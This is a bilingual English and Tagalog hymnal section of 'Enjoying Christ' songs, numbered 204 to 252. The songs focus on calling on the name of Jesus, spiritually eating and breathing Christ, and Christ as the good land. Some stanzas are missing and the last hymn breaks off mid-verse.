SELECTED HYMNS
204 — 254
Hymns
204 — 209
ENJOYING CHRIST
SEL. 204 (TS-207)
1. O let's enjoy Christ's riches together,
For our Lord is that Spirit, life-giver;
In our spirit He dwelleth, His life He giveth
To supply, anoint and transform us.
Wonder of wonders is that
our Lord is one with us;
We will shout and we'll sing:
"Hallelujah, Praise the Lord!"
O let's enjoy altogether Christ's riches,
Fully feast on His all-inclusiveness.
1. Tamasahin ang yaman ni Kristo,
Ang Panginoon ay Espiritu;
Nagbibigay ng buhay, nananahanan,
Tayo'y Kanyang tinutustusan.
Kamangha-mangha na si
Kristo'y kaisa natin:
Tayo ay aawit: "Aleluya, Purihin!"
Nagpapaloob-ng-lahat na Kristo,
Atin Siyang pagpistahan nang husto.
ENJOYING CHRIST
SEL. 205 (TS-203)
1. We enjoy our Jesus in such a living way
Eating, drinking and breathing the Lord.
We enjoy our Jesus in such a living way
Reality, Eating, drinking and breathing the Lord.
We enjoy our Jesus in such a living way
In the church, Reality,
Eating, drinking and breathing the Lord.
We enjoy our Jesus in such a living way
Love and unity, In the church, Reality,
Eating, drinking and breathing the Lord.
We enjoy our Jesus in such a living way
Jesus is Lord, Love and unity,
In the church, Reality,
Eating, drinking and breathing the Lord.
1. Si Hesus buháy nga nating tamasahin,
Kainin, inumin, hingahin.
Si Hesus buháy nga nating tamasahin,
Realidad, kainin, inumin, hingahin.
Si Hesus buháy nga nating tamasahin
Sa ekklesia, tunay nga,
Kainin, inumin, hingahin.
Si Hesus buháy nga nating tamasahin,
Pag-ibig, kai-sahan sa ekklesia'y tunay,
Kainin, inumin, hingahin.
Si Hesus buháy nga nating tamasahin,
Siya ay Poon, Pag-ibig, kai-sahan,
Sa ekklesia'y tunay,
Kainin, inumin, hingahin.
ENJOYING CHRIST
SEL. 206 (TS-205)
1. We want more of Jesus, more and more and more,
We want more of Jesus than we've ever had before;
We want more of Christ as life, rich and glorious,
We want more of Jesus, so we'll give Him more of us.
2. Eating more of Jesus, more and more and more,
Eating more of Jesus than we ever ate before;
We want more of Christ as food, rich and nutritious,
Eating more of Jesus, so we'll eat Him into us.
1. Hesus nais namin, higit pa ngayon,
Hesus nais namin, higit kaysa no'n;
May glorya't yaman Kristo bilang buhay
Nang Siya'y kamtin, tayo sa Kanya'y mag-alay.
2. Hesus kanin natin higit pa ngayon,
Hesus kanin natin higit kaysa no'n;
Kristo bilang pagkain, masustansya,
Kaya nararapat na higit kainin Siya.
ENJOYING CHRIST
SEL. 207
Taste and see the Lord is good, Hallelujah!
Taste and see the Lord is good, Hallelujah!
We've tasted and the Lord is good, Hallelujah!
We've tasted and the Lord is good, Hallelujah!
Tikman at tingnan ngayon, Aleluya!
Mabuti ang Pangino'n, Aleluya!
Mabuti nga ang Pangino'n, Aleluya!
Mabuti nga ang Pangino'n, Aleluya!
ENJOYING CHRIST
SEL. 208 (TS-204)
Let's enjoy, let's enjoy, enjoy all His riches,
Let's enjoy, let's enjoy, enjoy all His riches,
Let's enjoy, let's enjoy, enjoy all His riches,
Let's enjoy, let's enjoy, enjoy all His riches,
Enjoy, why be mis'rable when Christ is so rich.
Enjoy, why be mis'rable when Christ is so rich.
Let's enjoy, let's enjoy, enjoy all His riches,
Let's enjoy, let's enjoy, enjoy all His riches.
*Can be changed into:
Let's release, let's release, . . .
Release, why withhold and not release His riches.
Or
Testify, Praise the Lord, O let's share, Eat and drink, Let's breathe Him. . .
ENJOYING CHRIST
SEL. 209 (TS-208)
Nehemiah 8
The joy of the Lord is thy strength,
Thy strength, praise the Lord,
The joy of the Lord is thy strength,
Thy strength, praise the Lord.
Go eat the fat and drink the sweet,
For this day is holy unto Him,
The joy of the Lord is thy strength,
Thy strength, praise the Lord.
Hymns
210 — 218
ENJOYING CHRIST
SEL. 210
Oh, come all ye brothers,
Come to morning table.
Oh, come all ye sisters,
To morning watch.
Come and enjoy Him,
Everyone is able.

ENJOYING CHRIST
SEL. 211
Eating in the morning,
Oh, it makes our spirit strong.
We can really taste Him,
And our sleep is turned to song!
Don't heed the Devil's voice
Excuses are from him.
Just jump out of bed
and he really loses!
Eating in the morning,
Eating Jesus all day long!
ENJOYING CHRIST
SEL. 213
1. Calling O Lord Jesus,
He'll save to the end.
Calling O Lord Jesus,
Closer drawn to Him.
Calling O Lord Jesus,
Freed from self and sin,
Calling O Lord Jesus,
There's matchless joy in Him.
2. Calling O Lord Jesus,
Call from deep within;
Calling O Lord Jesus,
He's our help in need.
Calling unceasingly,
Breathe out and breathe in;
Breathe out our sin and world,
Breathe in beloved Lord.
3.

4. Eating in the meeting,
Makes our spirit strong;
Freed from religion, cults,
Rituals and oldness.
Mutual fellowshipping,
Bring Lord's fragrance out;
Enjoy precious church life
And build up in oneness.
ENJOYING CHRIST
SEL. 214
1. Just taste and see that the Lord is good;
Just taste and see that the Lord is good.

2. Just call O Lord — He'll change your life;
Just call O Lord — He'll change your life.
Amazing grace He will afford;
If in every place you call O Lord.
3. You'll feel real love coming into your heart;
You'll feel real love coming into your heart.
You'll sense a flow from God above;
And you will know you've found real love.
4. So praise the Lord for His life in you;
Yes, praise the Lord for His life in you.
Something of Christ He has outpoured
Into your life; so praise the Lord!
ENJOYING CHRIST
SEL. 216 (TS-213)
1. Wholly, wholly, wholly back to the beginning—
God is in Christ Jesus now, and He is food to us.
Feeding, feeding, feeding, crazy-seekers eating;
In God's recovery, we don't know so much.
2. Loudly shouting, "Jesus!" Oh, it really feeds us!
We have found where Jesus is — He's in the hungry mouth.
Not religious nodding, but recovered shouting—
In God's recovery, we don't know so much.
3. Chewing, chewing, chewing, not our outward doing;
Cease from all your working now, begin again to EAT.
Feasting, feasting, feasting, drop the old dead teachings—
In God's recovery, we just know to EAT.
ENJOYING CHRIST
SEL. 218 (TS-211)
(Matthew 4:4)
1. Man shall not live by bread alone,
But by every word
That proceeds from the mouth of God,
Hallelu — Hallelujah!
Hallelujah, Hallelujah,
Hallelujah, Hallelu — Hallelujah!
(John 6:63)
2.
Hallelujah, Hallelujah,
Hallelujah, Hallelu — Hallelujah!
(Jeremiah 15:16)
3. Thy words were found and I ate them
Halle-lu-Hallelujah!
Unto me Thy words are the joy
And rejoicing of my heart.
Hallelujah, Hallelujah,
Hallelujah, Hallelu — Hallelujah!
(Ephesians 6:17,18)
4. Take ye the sword of the Spirit,
Which is the word of God;
With all prayer and supplication,
Pray always in the spirit.
Hallelujah, Hallelujah,
Hallelujah, Hallelu — Hallelujah!
(Ephesians 5:26,27)
5. With the washing by the word,
His church He'll sanctify and cleanse,
That He might present to Himself,
A holy and glorious church.
Hallelujah, Hallelujah,
Hallelujah, Hallelu — Hallelujah!
(Mateo 4:4)
1. Ang tao di nabubuhay,
Sa tinapay lamang;
Kundi sa bawa't salita.
Mula sa bibig ng Diyos.
Aleluya, aleluya,
Aleluya, alelu — aleluya!
(Juan 6:63)
2. 'Spiritu nagbigay-buhay,
Laman walang pakinabang;
Ang lahat ng salita Niya,
Pawang 'spiritu't buhay.
Aleluya, aleluya,
Aleluya, alelu — aleluya!
(Jeremias 15:16)
3. Salita Mo'y nasumpungan,
At aking kinain;
Salita Mo'y kagalakan,
Kasyahan ng 'king puso.
Aleluya, aleluya,
Aleluya, alelu — aleluya!
(Efeso 6:17,18)
4. Kunin tabak ng 'Spiritu,
Siyang salita ng Diyos;
Nang may dalangin at daing,
Sa 'spiritu'y manalangin.
Aleluya, aleluya,
Aleluya, alelu — aleluya!
(Efeso 5:26-27)
5. Paghuhugas ng salita,
Ekklesia'y pinabanal;
Nang maiharap sa Kanya
Mal'walhating ekklesia.
Aleluya, aleluya,
Aleluya, alelu — aleluya!
Hymns
224 — 229
ENJOYING CHRIST
SEL. 224 (TS-218)
1. We're feeding on the living bread.
We're drinking at the fountainhead;
And whoso drinketh, Jesus said,
Shall never, never thirst again.
What, never thirst again?
No, never thirst again!
What, never thirst again?
No, never thirst again!
And whoso drinketh, Jesus said,
Shall never, never thirst again.
2. We are feeding on the living bread,
Eating at the feast our Lord has spread,
And whoso eateth, Jesus said,
Shall hunger nevermore.
What, hunger nevermore?
Yes, hunger nevermore!
What, hunger nevermore?
Yes, hunger nevermore!
And whoso eateth, Jesus said,
Shall hunger nevermore.
3. We are breathing in the living air,
Breathing in the One whose life we share,
And whoso breatheth — now, fore'er—
Shall have the life of God.
What, have the life of God?
Yes, have the life of God!
What, have the life of God?
Yes, have the life of God!
And whoso breatheth — now, fore'er—
Shall have the life of God.
4. We are tasting of the living wine,
In spirit tasting life divine,
And whoso tasteth, everytime
Shall have the joy of God.
What, have the joy of God?
Yes, have the joy of God!
What, have the joy of God?
Yes, have the joy of God!
And whoso tasteth, everytime
Shall have the joy of God.
5. Christ is the resurrected King,
Who died and rose, our life to bring,
If You receive Him you will sing,
And live forevermore.
What, live forevermore? Yes, live forevermore!
What, live forevermore? Yes, live forevermore!
If You receive Him you will sing,
And live forevermore.
ENJOYING CHRIST
SEL. 225 (TS-219)
Water of life, (Flowing! Flowing!)
A river of life, (Flowing! Flowing!)
Flowing with God's life, (His life! His life!)
His life's our supply, (Supply! Supply!)
That we be transformed, (Transformed! Transformed!)
His image conformed, (Conformed! Conformed!)
And in His image, God and man
Mutually are satisfied.
O abundant life, e'er fulfilling joy,
Ever sweeter, ever richer;
O the depths of Him, we could ne'er fathom,
But flowing through me, I now enjoy.
Enjoy and grow to be precious stones and pure gold,
God's building we become.

ENJOYING CHRIST
SEL. 227 (TS-221)
1. Of Him whence grace and truth did spring,
We're at the fountain drinking;
This Christ we'll ever praise and sing,
Here in the church, His home!
Glory to God! We're at the fountain drinking!
Glory to God! We're in the church, our home!
2. Ask but His grace, and lo, 'tis giv'n,
We're at the fountain drinking;
Seek only Christ, the heaven of heaven,
And find Him here at home!
Glory to God! We're at the fountain drinking!
Glory to God! We're in the church, our home!
3. Though Satan fights with all his power,
We're at the fountain drinking;
He'll not prevail, not one short hour,
Against the church, our home!
Glory to God! We're at the fountain drinking!
Glory to God! We're in the church, our home!
4. Athirst we to this spring do fly,
We're at the fountain drinking;
Drink deep, this well will not run dry!
It's in the church, our home!
Glory to God! We're at the fountain drinking!
Glory to God! We're in the church, our home!
ENJOYING CHRIST
SEL. 228 (TS-223)
1. Now Christ is the life-giving Spirit;
Now Christ is the living Word too.
The Spirit will flow in our spirit,
The Word will be life to us through—
Eating, drinking and breathing
Him all the day long;
Eating, drinking and breathing
Him all the day long.
2. Now Christ is the life-giving Spirit;
Now Christ is the living Word too.
The Spirit will flow in our spirit,
The Word will be life to us through—
Praying, reading, praising,
Calling upon His name;
Praying, reading, praising,
Calling upon His name.
1. Kristo'y Espiritu ng buhay!
Kristo'y Salita ng buhay!
'Spiritu tustos sa 'spiritu,
Buhay salita ni Kristo.
Buong araw kainin,
inumin, langhapin,
Upang Siya'y mapasa atin:
Kristong buhay.
2. Kristo'y Espiritu ng buhay!
Kristo'y Salita ng buhay!
'Spiritu tustos sa 'spiritu,
Buhay Salita ni Kristo.
Espiritu gamitin
sa panalangin.
Magbasa at magpuri,
Hesus tawagin.
ENJOYING CHRIST
SEL. 229 (TS-228)
1. Breathing in the Lord, is how we live today.
Not by thinking do we live, but breathing is the way.
We just call "O Lord", from very deep within,
And with joy we testify we're breathing in of Him.
Breathe in Christ, breathe in Life, breathe Him in today,
He's our very life supply, so breathe Him right away;
2. He's so wonderful, the Breath of Life is He;
Once He simply was a man, but now He's breath in me.
He has changed His form; the Spirit now is He,
He's the Christ breathed out from God, the Breath breathed in by me.
Everywhere, everywhere, Christ is life to me;
I just call upon His name, and breath comes into me.
Hymns
230 — 239
ENJOYING CHRIST
SEL. 230 (TS-224)
1. Breath by breath we breathe the Lord. Amen! Amen!
Breath by breath He quickens us. Amen! Amen!
Yes, we breathe out and we breathe in,
And deeply flows His life within,
For we all learned how to deeply breathe the Lord.
2. John 3:8 speaks of the Air without, without;
Th' wind blows where it wills, it wills. Without, without!
We cannot tell from whence it comes;
We cannot tell to where it runs;
So is everyone who's of the Spirit born.
3. John 20:22 speaks of the Air within.
 From Him! From Him!
He only asked us to receive—
'Tis not to think, but only breathe;
And it's by this Breath that we experience Life.
4. Now wherever we may be there's Air! there's Air!
It surrounds, envelops us, it's everywhere!

5. Just by calling on His name, O Lord! O Lord!
Christ becomes the breath to us. O Lord! O Lord!
We breathe His name from deep within
And breathe until we're filled with Him,
And what a Breath this Jesus is to us!
1. Hingahin ang Pangino'n! Amen! Amen!
Bubuhayin Niya tayo. Amen! Amen!
O, palabas at paloob,
Umaagos ang buhay Niya
'Pagka't natuto na tayong huminga.
2. Binanggit sa Juan tres hangin sa labas
Umiihip sa sarili niyang batas.
Ihip doon, ihip dito;
Hindi batid, sa'n ang tungo.
Gayon din ang sinilang ng 'Spiritu.
3. Sa Juan bente naman hangin sa loob.
Hininga ni Hesus, galing sa loob.
Dapat lamang na tanggapin,
Hindi kailangang isipin.
Sa hiningang buhay ating danasin.
4. Saan man magtungo, may hangin, hangin.
Pumapaligid sa 'tin, hangin, hangin.
Walang bayad, tamasahin,
Sasagana'ng buhay natin.
Mga kapatid, Siya'y ating hingahin.
5. Tumawag sa ngalan Niya — Panginoon.
Maging hininga natin — ating Poon.
Huminga galing sa loob,
Hanggang sa Siya ay magpuspos.
Napakasagana ng ating Hesus.
ENJOYING CHRIST
SEL. 231
1. Life, life, life! In Jesus we obtain it.
Life, life, life! Now we would maintain it.
Calling on His name by faith,
Pray-read God's Word to sustain,
Meet and serve to life maintain,
We have Life, Life, Life!
2. Precious blood! We are covered wholly.
Precious blood! We may enter boldly.
Fully cleansed from all our past,
Its effectiveness will last;
The accuser down is cast
By the precious blood!
3. Faith, faith, faith! Precious faith we prize it.
Faith, faith, faith! Satan doth despise it.
Making real the unseen things,
Shielding us from Satan's stings,
Promised rest to us it brings,
Hallelujah — faith!
4. Call, call, call! Calling, "O Lord Jesus!"
Call, call, call! Spirit it releases.
Boldly speak this precious Name,
Evermore the Lord proclaim—
To the devil what a shame!
So call, call, call!
5. Call-pray-read. . . God's Word we are eating.
Call-pray-read. . . at home and in meeting.
By the Word we are supplied,
Soul and spirit thus divide,
Life and growth his Words provide
When we call-pray-read.
6. Meet, meet, meet! Christ the Lord expressing.
Meet, meet, meet! Each time how refreshing!
All the saints can prophesy,
Sing, pray-read, and testify
As the church is edified
As we meet, meet, meet!
7. Serve, serve, serve! Everyone's a member.
Serve, serve, serve! Each a function render.
All positions by the Lord,
Grace to each He does afford.
Built in love in one accord,
In the Body, serve!
ENJOYING CHRIST
SEL. 232
We've got the "O Lord, Amen, Hallelujah!"
Down in our hearts, down in our hearts,
down in our hearts;
We've got the "O Lord, Amen, Hallelujah!"
Down in our hearts;
Down in our hearts to stay.
And we're so happy, so very happy,
We've got the "O Lord, Amen," in our hearts,
Hallelujah!
And we're so happy, so very happy,
We've got the "O Lord, Amen," in our hearts.
Ako'y may "O Panginoon, Amen at Aleluya!"
Sa puso ko, sa puso ko;
Ako'y may "O Panginoon, Amen at Aleluya!"
Magpakailanpaman.
Ako'y puspos ng kaligayahan,
Panginoon, Amen sa puso ko, Aleluya!
Ako'y puspos ng kaligayahan,
Panginoon, Amen sa puso ko.
ENJOYING CHRIST
SEL. 233 (TS-225)
1. O how nigh the Lord is unto all who call on Him!
When we call, His very presence strengthens us within.

Jesus! O what a name!
O Lord Jesus! Life-giving name!
Name victorious, name all-glorious,
Name exalted — O what a name!
Jesus! Strengthening name!
O Lord Jesus! Comforting name!
Name to breathe in prayer, calling everywhere,
"O Lord Jesus!" O what a name!
2. Call upon the name of Jesus, and you will be saved,
O Lord Jesus, hallelujah, nevermore enslaved!
We may take salvation's cup by calling on the Lord;
Salvation from a host of things does His dear name afford.
Jesus! O what a name!
O Lord Jesus! Life-giving name!
Name victorious, name all-glorious,
Name exalted — O what a name!
Jesus! Strengthening name!
O Lord Jesus! Comforting name!
Name to breathe in prayer, calling everywhere,
"O Lord Jesus!" O what a name!
3. To the Lord, the Jew, the Greek and everyone's the same;
He is rich unto all men that call upon His name.
O Lord Jesus, what a joy to call and really live;
When breathing in Thy name, what pleasure Thou to us dost give.
Jesus! O what a name!
O Lord Jesus! Life-giving name!
Name victorious, name all-glorious,
Name exalted — O what a name!
Jesus! Strengthening name!
O Lord Jesus! Comforting name!
Name to breathe in prayer, calling everywhere,
"O Lord Jesus!" O what a name!
4. In the God of our salvation we may take delight,
Calling on His name at all times, though in bliss or blight.
I will call upon the Lord's name as long as I live,
Because He has inclined His ear, and grace so full does give.
Jesus! O what a name!
O Lord Jesus! Life-giving name!
Name victorious, name all-glorious,
Name exalted — O what a name!
Jesus! Strengthening name!
O Lord Jesus! Comforting name!
Name to breathe in prayer, calling everywhere,
"O Lord Jesus!" O what a name!
5. We will call upon the Lord, who's worthy of our praise;
Thus our grateful hearts in worship we to Him may raise.
We are those who call upon His name in every place
With all the saints who from a pure heart call and taste His grace.
Jesus! O what a name!
O Lord Jesus! Life-giving name!
Name victorious, name all-glorious,
Name exalted — O what a name!
Jesus! Strengthening name!
O Lord Jesus! Comforting name!
Name to breathe in prayer, calling everywhere,
"O Lord Jesus!" O what a name!

O Hesus ko! anong tamis
Ang ngalan Mo'y tawagin;
Higit sa alak at pulot,
O Hesus ko, Amen.
ENJOYING CHRIST
SEL. 236 (TS-230)
We have found a simple way for us to really touch the Lord:
All we do is pray four words, O what a grace He does afford!
From our spirit now we say them, and we spread the news abroad,
It's easy to touch the Lord!
Oh Lord, Amen, Hallelujah!
Oh Lord, Amen, Hallelujah!
Oh Lord, Amen, Hallelujah!
It's easy to touch the Lord!
ENJOYING CHRIST
SEL. 237 (TS-231)
1. Whene'er I call Lord Jesus,
Sure it sets my heart aglow;
Just to feel His life arising
That Christ in me may grow.
Just call with us, "Lord Jesus,"
It's the greatest joy on earth;
And then Christ will come into you,
You will have another birth.
2. Just call with us, "Lord Jesus,"
He will surely set you free;
Though your heart is far, far from Him,
Wherever you may be.
Be simple, call upon Him,
Even at this very hour;
If you call, then He will enter,
Oh, He's never very far.
3.
For He is our strong fortress,
And our peace, our joy, our rest;
When we taste the grace of Jesus,
Sure we taste the very best.
4. The best is just Himself now,
And Himself He freely gave;
So let's open up to Him now,
And by His life be saved.
And when He comes to meet us,
As His Bride we'll ready be;
If today He grows within us,
We shall then His glory see.
1. 'Pag Hesus ay tawagin,
Nagningas ang puso ko;
Ang buhay Niyang nasa akin
Lalong lumalago.
Tayo'y tumawag, "Hesus,"
Sa galak ka'y malipos;
Si Kristo'y papasok sa iyo,
May pagkasilang bago.
2. "Hesus," ating tawagin,
Magpapalaya sa iyo,
Anuman iyong saloobin,
Puso ma'y malayo.
Payak ka lang tumawag,
Saan man naroroon;
Buksan ang bibig, tumawag,
Nasa iyo ang Pangino'n.
3. Manliligtas tawagin,
Pinakikinggan tayo,
Ilagak ang iyong pasanin
Sa Taga-aliw mo.
Lakas, galak, pahinga,
At kanlungan natin Siya,
Tikman mo't mapagkilala
Ganap Niyang pagpapala.
4. Siya'y pinakamainam,
Libreng matanggap mo Siya,
Magbukas ka nang lubusan,
Ligtas sa buhay Niya!
Sa pagdating Niya muli,
Wala tayong pangamba;
Tayo'y mapasa l'walhati
Kung hinog at ganap na.
ENJOYING CHRIST
SEL. 238 (TS-232)
When you say, "Lord!"
You say a lot of things nobody else can say;
When you say, "Lord!"
You say you care enough to only want the King of kings!
For there is nothing more; there's only something less!
Jesus is all in all; He is the very best.
When you say, "Lord Jesus!"
You have said it all!
ENJOYING CHRIST
SEL. 239 (TS-233)
Calling, "O Lord Jesus!"
Oh, it makes our spirit strong!
We can really touch Him,
And our gloom is turned to song!
Don't listen to Satan, with all his distraction;
Just turn to your spirit, and spring into action!
Calling, "O Lord Jesus!"
You'll enjoy Him all day long!
O Pangino'ng Hesus!
'Spiritu'y napalakas!
Mahihipo nga Siya,
Panglaw magiging saya!
Huwag dinggin ang diyablo sa pang'gulo nito
Baling sa 'spiritu, takot mo'y tatakbo!
O Pangino'ng Hesus!
Buong araw tamasa mo!
Hymns
240 — 248
ENJOYING CHRIST
SEL. 240 (TS-240)
1. "O Lord Jesus" is the way
To eat Jesus all the day;
When we call we take Him in
And our spirits filled with Him.
Call, O Lord Jesus!
Call, O Lord Jesus!
Call, O Lord Jesus!
Lord Jesus! all the day.
2. "O Lord Jesus" is the way
We will never go astray.
Call His name in day or night
He will rescue you with might.
Call, O Lord Jesus!
Call, O Lord Jesus!
Call, O Lord Jesus!
Lord Jesus! all the day.
3. Turn from soul to spirit now;
"O Lord Jesus" — that is how.
Turn yourself to Him and say,
"O Lord Jesus" all the day.
Call, O Lord Jesus!
Call, O Lord Jesus!
Call, O Lord Jesus!
Lord Jesus! all the day.
4. Calling thus we're filled with Christ.
As the spirit and the life.
Calling we express our love
To the Lord all else above.
Call, O Lord Jesus!
Call, O Lord Jesus!
Call, O Lord Jesus!
Lord Jesus! all the day.
1. "Poong Hesus" tawagin,
Upang Siya ay kainin.
Tawagin Siya't tanggapin,
'Spiritu ay punuin.
Pangino'ng Hesus!
Pangino'ng Hesus!
Pangino'ng Hesus!
Buong araw, tawagin.
2. "Poong Hesus" ang daan,
Di maligaw kailanman.
Gabi't araw tawagin,
Siya'y magliligtas sa 'tin.
Pangino'ng Hesus!
Pangino'ng Hesus!
Pangino'ng Hesus!
Buong araw, tawagin.
3. Baling na sa 'spiritu,
Hesus ang tawagin mo,
Baling tungo sa Kanya,
Palaging tawagin Siya.
Pangino'ng Hesus!
Pangino'ng Hesus!
Pangino'ng Hesus!
Buong araw, tawagin.
4. Kristo, tayo'y mapuno
Ng buhay, espiritu.
Pagtawag ay pakita.
Pag-ibig ko sa Kanya.
Pangino'ng Hesus!
Pangino'ng Hesus!
Pangino'ng Hesus!
Buong araw, tawagin.
ENJOYING CHRIST
SEL. 241 (TS-235)
I just keep calling O Lord as I walk along,
I just keep calling O Lord and He gives a song;
Though the storm clouds darken the sky
o'er the heav'nly trail,
I just keep calling O Lord, He will never fail!
He's a faithful Friend, such a faithful Friend,
I can count on Him to the very end;
Though the storm clouds darken the sky
o'er the heav'nly trail,
I just keep calling O Lord, He will never fail!
Aking tatawagin Ka, O Panginoon,
Aking tatawagin Ka, O Panginoon;
Magdilim man ang ulap sa kalangitan,
Nagbibigay-awitin sa kalungkutan.
Ikaw ang tapat kong Kaibigan,
Kaibigan kong maaasahan;
Magdilim man ang ulap sa kalangitan,
Di ako bibiguin magpakailanman.
ENJOYING CHRIST
SEL. 242 (TS-237)
Say O Lord Jesus early in the morning,
Say O Lord Jesus even at noon time,
Say O Lord Jesus late in the evening,
Say O Lord Jesus all the day long.
In your spirit He is there;
Waste no time to find Him where.
Praise the Lord!
Turn to your spirit; you'll enjoy His blessing.

Through His life abundant share,
We His likeness soon shall bear.
Glory, Hallelujah, Glory to His Name.
Glory, Hallelujah, Glory to His Name.
"Pangino'ng Hesus" sa umaga'y sabi,
"Pangino'ng Hesus" at sa tanghali,
"Pangino'ng Hesus" maging sa gabi,
Panginoo'y Hesus, Oo palagi!
Sa 'spiritu, Siya'y nandyan;
Huwag nang hanapin kung sa'n.
Purihin! (Purihin!)

Sa 'spiritu mo, Siya'y iyong matamasa
Maghibik doon, mahipo mo Siya
Manalangin do'n, paningasin ka Niya,
Manatili do'n, 'lakas gaya Niya.
Sa mayaman Niyang buhay,
Larawan Niya'y mataglay.
Gloria, Aleluya sa Kanyang Ngalan
Gloria, Aleluya sa Kanyang Ngalan.
ENJOYING CHRIST
SEL. 243
Do you know what time it is?
Time to say "O Lord!"
God's Word says redeem the time;
We're all of one accord.
Day time or night time;
Dark time or light time;
Anytime is right time to say "O Lord!"
Ano ang oras ngayon?
Oras pagtawag—
"O Panginoon
Amen Aleluya!"
Araw at gabi
Anumang oras
Ay wastong oras upang tumawag.
ENJOYING CHRIST
SEL. 244
O let us call together, Lord Jesus! Lord Jesus!
O Lord, Amen, Hallelujah! Amen, Praise the Lord!
O Lord, Amen, Hallelujah! Amen, Hallelujah!
O Lord, Amen, Hallelujah! Amen, Praise the Lord!
ENJOYING CHRIST
SEL. 245
You can smile, when you can say, "O Lord,"
You can smile, when you can praise the Lord,
You can smile, when it's cloudy or fair,
You can smile anytime, anywhere.
ENJOYING CHRIST
SEL. 246 (TS-241)
<IP_ADDRESS>.
1. Christ is the good land, whom God has promised,
In Him we conquer, routing the en'my,
Foll'wing our Captain, rest in our portion,
This land is for you and for me.
2. The high-walled city, you did not build it,
The house full of goods, you did not fill it,
The well of water, you did not dig it,
Olives and grapes, you did not plant.
3. There's fountains, rivers, streams in the valley,
Wheat, barley, fruit trees, with oil and honey,
In this land dwelling, we never shall want,
This land is rich in iron and brass.
4. Rejoice together, and sing in Zion,
Let's go on forward, into His goodness,
New wine and fine crops abundant produce,
This land is really rich and full.
5. Christ is my portion, also your portion,
We all can share Him, without distinction,
Our inheritance, we cannot measure,
All things are for you and for me.
6. This bountiful land — enlarged enjoyment,
And everywhere there's oil, milk and honey,
O'erflowing blessing, just taste and you'll see,
Our Christ is really the good land.
7. The Word became flesh, despised by all men,
He conquered death and ascended on high,
Glory and honor, His crown forever,
This good land is in us today.
8. Let us all labor, on Christ within us,
And bring the harvest, to God as off'ring,
Thus Christ was offered, satisfied God and men,
We'll sing His praises forever.
9. O praise the Lord, Christ is now my good land,
O praise the Lord, Christ is now your good land,
O Hallelujah, such glorious good land,
We dwell in Him, Christ our good land.
1. Kristo'y mabuting lupang pangako
Umasa sa Kanya diyablo'y talo;
Kapitan sundan, kamtin pahinga
Para sa atin ang lupa.
2. Pader matayog di mo tinayo,
Bahay puno nga, di ka nagpuno;
Balon may tubig di ka naghukay,
Di ka nagtanim, may ubas.
3. May bukal, ilog, batis sa libis,
Trigo't sebada, pulot at langis;
Lupa'y may bakal, bundok may tanso,
Di-salat ang lupang ito.
4. Tayo'y magalak aawit sa Sion,
Pasok sa lupa tayo'y susulong,
Butil at alak anong sagana,
Mayaman nga itong lupa!
5. Si Kristo'y akin, si Kristo ay iyo,
Tamasahing magkasama tayo;
Ang pamana natin di masukat
Para sa iyo't akin lahat.
6. Mayamang lupa, tamasa rito,
Langis, gatas, pulot bawa't dako.
Makita Kristo'y mabuting lupa
Tikman umapaw pagpala.
7. Naging laman Siya, dinanas dusa,
Namatay, nabuhay, umakyat na
L'walhati sa Kanya'y nagputong din
Siyang lupa sa loob natin.
8. Kristong nasa lo'b, tayo'y magpagal
Nang ang Kristo sa Diyos maitanghal;
Bilang handog sa Diyos mas'yahan Siya,
Tayo'y pupuri sa Kanya.
9. Purihin ang Diyos, Kristo'y lupa ko,
Purihin ang Diyos, Kristo'y lupa mo;
O Aleluya, l'walhating lupa;
Nanahan kay Kristong lupa!
ENJOYING CHRIST
SEL. 247 (TS-240)
<IP_ADDRESS>.
1. What a good land, what a rich land,
God has given unto us!
Valleys, mountains, springs and fountains—
Hallelujah, glorious!
2. What a good land, what a rich land,
God has given unto us!
Milk and honey without money—
What a bargain, glorious!
3. What a good land, what a rich land,
God has given unto us!
Vines and fig trees, all our hearts' please—
Rich supplies, and all for us.
4. What a good land, what a rich land,
God has given unto us!
Grain and fresh oil, all for our toil,
What a prospect, glorious!
5. Let us labor, let us labor,
On the land He's given us,
Labor hourly, labor pow'rfully,
Reap a harvest glorious!
6. In the meetings, in the meetings,
At the feast so glorious,
With a full heart, share the best part,
Of the harvest gained by us.
7. Hallelujah, hallelujah,
For the land God's given us!
What employment, what enjoyment!
Hallelujah, glorious!
1. Anong yaman ng lupain
'Binigay ng Diyos sa 'tin!
Libis, bundok, bukal, balon—
Kay luwalhati roon!
2. Anong yaman ng lupain
'Binigay ng Diyos sa 'tin!
Gatas, pulot walang bayad,
Alok tanggapin agad!
3. Anong yaman ng lupain
'Binigay ng Diyos sa 'tin!
Puso'y lugod, ubas, igos,
Masaganang panustos.
4. Anong yaman ng lupain,
'Binigay ng Diyos sa 'tin!
Butil, langis para sa 'tin
May gloria nating kamtin.
5. Magpagal nga, magpagal nga,
Sa lupang 'binigay Niya,
Magpagal nga, oras-oras.
Mag-ani'ng buong lakas.
6. Mal'walhating kapistahan
Ang mga pagpupulong,
Pinakamabuti'y hain
Ng aning tamo natin.
7. Aleluya, aleluya,
Sa lupang 'binigay Niya!
Anong gawang natamasa!
Maringal, aleluya!
ENJOYING CHRIST
SEL. 248 (TS-242)
1. This land is ours, God gave this land to us;
Christ is, Christ is the Land He gave.
'Tis with the church as one, to which we all must come,
Leaving the world behind, our souls brought through the maze.
2. Come on, come on, let's take this land for aye;
Come on, let's walk in Christ today;
Now we must take the stand that we will work the Land,
That by the increase grown we'll make His coming known.
3. We'll see, we'll see, Jesus so rich, so sweet,
So full the church becomes complete.
Reality we'll know, and God true worship show.
His person then will be the Thrilling One we see.
Hymns
251 — 254
ENJOYING CHRIST
SEL. 251 (TS-244)
Walking in this Good Land,
How it makes our spirit strong!
Working on the Good Land,
Christ enjoying all day long.
His riches, His fullness, and all His power
Are ours to experience hour by hour!
Living in the Good Land—
Christ is now our all in all.
ENJOYING CHRIST
SEL. 252 (TS-247)
1. Lab'ring on the Good Land, lab'ring in the morning,
Lab'ring through the noontime to the early eve,
Lab'ring for a harvest, reaping all the produce,
Coming to the meeting, bringing in the sheaves.
Bringing in the sheaves, bringing in the sheaves,
Here we are rejoicing, bringing in the sheaves!
Bringing in the sheaves, bringing in the sheaves,
Here we are rejoicing, bringing in the sheaves!
2. Reaping wheat and barley, death and resurrection,
Though the loss sustained our old man often grieves;
But in life abundant, life in resurrection,
Coming to the meeting, bringing in the sheaves.
Bringing in the sheaves, bringing in the sheaves,
Here we are rejoicing, bringing in the sheaves!
Bringing in the sheaves, bringing in the sheaves,
Here we are rejoicing, bringing in the sheaves!
3. Grain and wine and fresh oil — bringing in the surplus
Of the wheat and barley, vine and olive trees:
